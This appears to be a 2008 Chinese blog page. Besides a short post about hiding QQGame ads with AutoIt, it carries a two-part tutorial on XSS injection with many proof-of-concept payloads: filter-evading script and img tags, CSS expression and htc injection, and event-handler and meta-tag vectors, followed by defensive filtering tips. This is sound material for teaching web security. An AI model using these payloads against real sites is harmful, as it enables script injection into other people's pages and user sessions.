使用 AutoIt 隐藏部分 QQGame 广告November 18, 2008

本人是逢赌必输,自上次(圆心:“是每次吧”)和王爷搓麻又交了笔学费以后,我就“偷偷摸摸”地勤加练习 -- 上 QQGame 玩杭州麻将。不过 QQGame 这玩意广告还真的是多,一点错搞不好弹出个浏览器窗口。

眼看自己的“职位”永远在“初品茶叶”上久久不能翻身,遂一股脑的将气撒在了那些广告的身上。终于有天忍不住爆发,祭出我刚学的 AutoIt 写了个小脚本,隐藏了部分自己觉得“看不顺眼”的广告。

http://files.gracecode.com/2008_11_17/1226930771.png

如上图,主要的隐藏部分主要是大厅上面的那个 Banner(真的很容易点错),以及右边聊天窗口的那排买道具的连接(我发誓,从来没买过道具)。

最后,此相关的 AutoIt 源代码和二进制文件打包下载

--Split--

Taobao UED 招聘第三季已经上线,各位有兴趣的弟兄可以关注下。

常见的 XSS 注入攻击方式 Part.2November 5, 2008

接上一期,这里主要考虑 CSS 注入的方式。CSS 注入主要为背景图注入和针对 Exploer 的 CSS Expression 注入。

考虑没有完全将样式过滤的情况,下面的代码即有可能成为攻击代码

<xss style="behavior: url(xss.htc);">

上面的是针对 Exploer 的 htc 注入,htc 可以认为是个脚本。

<div style="background-image: xss.jpg">

谁会知道 xss.jpg 是什么内容呢?不过很多站点统计代码也是使用了这一原理。

<div style="width: expression(alert('xss'));">
<img style="xss:expr/*xss*/ession(alert('xss'))">
exp/*<A style='noxss:noxss("*//*");xss:ex/*xss*//*/*/pression(alert("xss"))'>

针对 Exploer 的 Expression 要保持“淡定”,最好的做法就是过滤 style 属性。

如果没有将注释完全过滤充分,则又会在 Exploer 出现典型的注入漏洞

<!--[if gte IE 4]>
    <script>alert('xss');</script>
<![endif]-->

安全性问题,这个时候我反而感谢 Exploer 提供那么多的“机会”。

-- Split --

那么如何预防 XSS 注入?主要还是需要在用户数据过滤方面得考虑周全,在这里不完全总结下几个 Tips

  1. 假定所有的用户输入数据都是“邪恶”的
  2. 弱类型的脚本语言必须保证类型和期望的一致
  3. 考虑周全的正则表达式
  4. strip_tags、htmlspecialchars 这类函数很好用
  5. 外部的 Javascript 不一定就是可靠的
  6. 引号过滤必须要重点注意
  7. 除去不必要的 HTML 注释
  8. Exploer 求你放过我吧……

常见的 XSS 注入攻击方式 Part.1October 30, 2008

前端开发常见的安全问题就是会遭受 XSS 注入攻击,这里列举常见的代码注入方式。

Javascript 代码注入

Javascript 代码注入主要表现为直接引用未经校验的字符串、解析不安全的 JSON 数据(包括 JSONP)等。

很多时候会写这样的代码

document.write('u name is' + name);

这就会形成一定的安全性问题(如果服务器端没有过滤的话),比如 name 为下面的数据,在没有经过过滤时

';alert('xss');//
";alert('xss');//
'';!--"<xss>=&{()}

就会破坏原有代码结构,插入不期望的代码。

HTML 标签注入

HTML 注入是较为常见的一种方式,主要的注入入口为不周全的正则过滤、内联样式(针对 Exploer),下面是常见的注入代码

逃过不周全的正则过滤,解决方案为使用 PHP 的 htmlspecialchars 以及 htmlentities 等类似函数转义。

<sCrIpT src=xss.js></sCrIpT>
<script src=xss.js>
</script>
<script/xss src="xss.js"></script>
<script/SRC="xss.js"></script>
<<script>alert("xss");//<</script>
<script>a=/xss/
alert(a.source)</script>

从图片标签中注入,在些论坛上比较常见

<img src="javascript:alert('xss');">
<img """><script>alert("xss")</script>">
<img src="xss.php?param">

从连接标签上注入(虽然本人没有发现过案例,不过也不能轻视)

<script a=">" SRC="xss.js"></script>
<script =">" SRC="xss.js"></script>
<script a=">" '' SRC="xss.js"></script>

其他容易注入的地方

<body onload=alert('xss')>
<iframe src="javascript:alert('xss');"></iframe>
<embed src="xss.swf" AllowScriptAccess="always"></embed>
<meta http-equiv="Set-Cookie" content="USERID=<script>alert('xss')</script>">

先摘记举例那么多,下期的内容包括“CSS 注入”、“其他注入方法”以及一般性解决方案,欢迎探讨和纠正。

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
Yahoo 统计